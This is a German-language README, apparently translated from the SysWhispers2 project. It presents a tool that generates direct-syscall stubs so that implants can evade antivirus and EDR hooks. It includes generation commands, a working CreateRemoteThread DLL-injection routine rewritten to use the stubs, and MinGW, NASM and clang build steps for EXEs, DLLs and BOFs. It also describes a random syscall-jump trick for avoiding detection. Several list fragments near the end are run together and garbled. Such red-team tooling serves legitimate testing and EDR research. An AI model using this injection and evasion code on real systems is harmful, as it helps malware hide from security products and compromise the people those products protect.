
AV/EDR-Umgehung durch direkte Systemaufrufe.
SysWhispers hilft bei der Umgehung von Sicherheitsmaßnahmen, indem es Header/ASM-Dateien generiert, die Implantate verwenden können, um direkte Systemaufrufe durchzuführen.
Alle Kern-Syscalls werden unterstützt, und Beispieldateien sind im Ordner example-output/ verfügbar.
Die Verwendung ist fast identisch mit SysWhispers1, aber Sie müssen nicht angeben, welche Windows-Versionen unterstützt werden sollen. Die meisten Änderungen finden hinter den Kulissen statt. Es stützt sich nicht mehr auf die Syscall-Tabellen von @j00ru, sondern verwendet die Technik des "Sortierens nach Systemaufrufadresse", die von @modexpblog popularisiert wurde. Dies reduziert die Größe der Syscall-Stubs erheblich.
Die spezifische Implementierung in SysWhispers2 ist eine Variation des Codes von @modexpblog. Ein Unterschied besteht darin, dass die Funktionsnamen-Hashes bei jeder Generierung zufällig sind. @ElephantSe4l, der diese Technik bereits früher veröffentlicht hatte, hat eine weitere Implementierung auf Basis von C++17, die ebenfalls einen Blick wert ist.
Das ursprüngliche SysWhispers-Repository ist noch verfügbar, könnte aber in Zukunft veraltet sein.
Verschiedene Sicherheitsprodukte platzieren Hooks in User-Mode-API-Funktionen, die es ihnen ermöglichen, den Ausführungsfluss zu ihren Engines umzuleiten und verdächtiges Verhalten zu erkennen. Die Funktionen in ntdll.dll, die die Syscalls ausführen, bestehen aus nur wenigen Assembler-Anweisungen, sodass eine Neuimplementierung in Ihrem eigenen Implantat die Auslösung dieser Sicherheitsprodukt-Hooks umgehen kann. Diese Technik wurde von @Cn33liz popularisiert, und sein Blogbeitrag enthält weitere technische Details, die lesenswert sind.
SysWhispers bietet Red Teamern die Möglichkeit, Header/ASM-Paare für jeden Systemaufruf im Kern-Kernel-Image (ntoskrnl.exe) zu generieren. Die Header enthalten auch die notwendigen Typdefinitionen.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThread-DLL-Injektionpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Die Verwendung des Schalters --preset common erstellt ein Header/ASM-Paar mit den folgenden Funktionen:
Die folgenden Beispiele zeigen, wie die obigen Beispielprogramme als EXE und DLLs mit MinGW und dem NASM-Assembler kompiliert werden:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 gibt eine clang-kompatible .s-Datei aus, die die ASM-Stubs enthält. Diese kann mit llvm verwendet werden, um Ihren Code zu kompilieren. Zum Beispiel unter Verwendung des obigen CreateRemoteThread-DLL-Injektionsbeispiels:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
Die Ausgabeoption inlinegas generiert eine reine Header-Version von SysWhispers2, die bei der Kompilierung von BOFs verwendet werden kann. Binden Sie einfach den Header in Ihr Projekt ein.
Durch die Verwendung der zufälligen Syscall-Sprungroutine ist es möglich, den "mark of the syscall" zu vermeiden. Der Assembly-Stub ruft eine neue Funktion SW__GetRandomSyscallAddress auf, die nach einer sauberen Syscall-Anweisung in ntdll.dll sucht und diese auswählt. Auf diese Weise ist es möglich, auch die Auslösung von Userland-Syscall-Anweisungen zu vermeiden.
Um zufällige Syscall-Sprünge zu verwenden, müssen Sie beim Kompilieren Ihres Programms RANDSYSCALL definieren und die rnd-Version der SysWhispers2-Ausgabe verwenden. Die folgenden Beispiele demonstrieren die Verwendung der GNU-Assembler-Stubs.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) werden nicht unterstützt.syscalls.h bereits definiert wurden.
--preset all ist selten notwendig).syscalls.h entfernt werden.Entwickelt von @Jackson_T und @modexpblog, baut aber auf der Arbeit vieler anderer auf:
Dieses Projekt ist unter der Apache License 2.0 lizenziert.